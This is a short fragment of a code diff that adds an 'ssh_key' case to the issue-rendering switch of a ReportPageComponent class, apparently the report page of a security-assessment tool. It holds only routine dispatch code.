|
||||||
return (
|
return (
|
||||||
<li>
|
<li>
|
||||||
|
@ -672,6 +691,9 @@ class ReportPageComponent extends AuthComponent {
|
||||||
case 'ssh':
|
case 'ssh':
|
||||||
data = this.generateSshIssue(issue);
|
data = this.generateSshIssue(issue);
|
||||||
break;
|
break;
|
||||||
|
case 'ssh_key':
|
||||||
|
data = this.generateSshKeysIssue(issue);
|
||||||
|
break;
|
||||||
case 'rdp':
|
case 'rdp':
|
||||||
data = this.generateRdpIssue(issue);
|
data = this.generateRdpIssue(issue);
|
||||||
break;
|
break;
|
||||||
|
|
Loading…
Reference in New Issue